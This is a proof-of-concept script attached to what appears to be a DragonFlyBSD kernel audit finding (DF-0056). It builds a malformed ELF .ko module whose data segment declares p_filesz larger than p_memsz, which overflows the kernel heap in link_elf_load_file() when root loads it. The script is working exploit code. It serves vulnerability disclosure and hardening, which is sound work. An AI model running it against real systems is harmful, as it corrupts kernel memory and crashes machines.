DragonFlyBSD Kernel Audit
DF-0056 / craft_ko.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-0056 PoC: craft a minimal ELF shared object (.ko) with a PT_LOAD segment
# where p_filesz > p_memsz, triggering the heap overflow in
# link_elf_load_file() (sys/kern/link_elf.c:541-563).
#
# mapsize (line 541-543) is derived from p_memsz:
#     base_vlimit = round_page(segs[1]->p_vaddr + segs[1]->p_memsz)
#     mapsize     = base_vlimit - base_vaddr
#     ef->address = kmalloc(mapsize, ...)             # too small
# but vn_rdwr (line 554) writes p_filesz bytes  -> heap overflow
# then  bzero(segbase + p_filesz, p_memsz - p_filesz) # size_t underflow -> huge
#
# Load as root:  kldload ./df0056_overflow.ko  -> kernel heap corruption / panic
#
# NOTE: this is root-only (sys_kldload requires SYSCAP_NOKLD). It is a
# defense-in-depth / root->kernel hardening gap, NOT an unpriv->root privesc.
import struct, sys

# --- ELF64 constants ---
ET_DYN = 3
EM_X86_64 = 62
PT_LOAD = 1
PT_DYNAMIC = 2
PF_R = 4; PF_W = 2; PF_X = 1
ELFCLASS64 = 2; ELFDATA2LSB = 1; EV_CURRENT = 1

EHDR_FMT = "<16sHHIQQQIHHHHHH"   # e_ident(16), type, machine, version, entry,
                                 # phoff, shoff, flags, ehsize, phentsize,
                                 # phnum, shentsize, shnum, shstrndx
EHDR_SIZE = 64
PHDR_FMT = "<IIQQQQQQ"           # p_type, p_flags, p_offset, p_vaddr, p_paddr,
                                 # p_filesz, p_memsz, p_align
PHDR_SIZE = 56

def le64(v): return struct.pack("<Q", v & 0xffffffffffffffff)
def le32(v): return struct.pack("<I", v & 0xffffffff)

def build(outpath):
    # Program headers: PT_LOAD (text), PT_LOAD (data, overflow), PT_DYNAMIC
    phoff = EHDR_SIZE
    phnum = 3
    # file layout: header | 3 phdrs | text blob | data blob (filesz huge) | dyn
    text_off  = phoff + phnum * PHDR_SIZE
    text_vaddr= 0x0
    text_filesz = text_memsz = 0x1000   # one page, normal

    # segs[1] is the data segment: p_memsz TINY, p_filesz HUGE -> overflow.
    # The loader's vn_rdwr writes p_filesz bytes into a mapsize buffer sized
    # from p_memsz.  We make p_filesz moderately larger than p_memsz so the
    # overflow is real but the read itself doesn't fault before the bzero.
    data_off   = text_off + text_filesz
    data_vaddr = 0x2000
    data_memsz = 0x100           # small -> small allocation
    data_filesz= 0x2000          # >> memsz -> heap overflow + bzero underflow

    # PT_DYNAMIC points to a tiny .dynamic at the end (1 DT_NULL entry).
    dyn_off   = data_off + data_filesz
    dyn_vaddr = data_vaddr + data_filesz
    dyn_size  = 16               # one Elf64_Dyn = 16 bytes (d_tag=0, d_val=0)

    e_ident = bytes([0x7f, ord('E'), ord('L'), ord('F'),
                     ELFCLASS64, ELFDATA2LSB, EV_CURRENT, 0]) + b'\x00'*8
    ehdr = struct.pack(EHDR_FMT,
        e_ident, ET_DYN, EM_X86_64, EV_CURRENT,
        0,                       # e_entry
        phoff,                   # e_phoff
        0,                       # e_shoff (no section headers)
        0,                       # e_flags
        EHDR_SIZE,               # e_ehsize
        PHDR_SIZE,               # e_phentsize
        phnum,                   # e_phnum
        0, 0, 0)                 # shentsize, shnum, shstrndx

    def phdr(typ, flags, off, vaddr, filesz, memsz, align=0x1000):
        return struct.pack(PHDR_FMT, typ, flags, off, vaddr, vaddr,
                           filesz, memsz, align)

    ph_text   = phdr(PT_LOAD, PF_R|PF_X, text_off, text_vaddr,
                     text_filesz, text_memsz)
    ph_data   = phdr(PT_LOAD, PF_R|PF_W, data_off, data_vaddr,
                     data_filesz, data_memsz)
    ph_dyn    = phdr(PT_DYNAMIC, PF_R|PF_W, dyn_off, dyn_vaddr,
                     dyn_size, dyn_size)

    # file blobs
    text_blob = b'\xcc' * text_filesz          # int3 filler
    data_blob = b'\x41' * data_filesz          # attacker-controlled overflow bytes
    dyn_blob  = le64(0) + le64(0)              # DT_NULL

    blob = ehdr + ph_text + ph_data + ph_dyn + text_blob + data_blob + dyn_blob
    with open(outpath, "wb") as f:
        f.write(blob)
    print("[+] wrote %s (%d bytes)" % (outpath, len(blob)))
    print("    segs[1]: p_vaddr=0x%x p_memsz=0x%x p_filesz=0x%x  "
          "(filesz>memsz -> heap overflow + bzero underflow)" %
          (data_vaddr, data_memsz, data_filesz))

if __name__ == "__main__":
    build(sys.argv[1] if len(sys.argv) > 1 else "df0056_overflow.ko")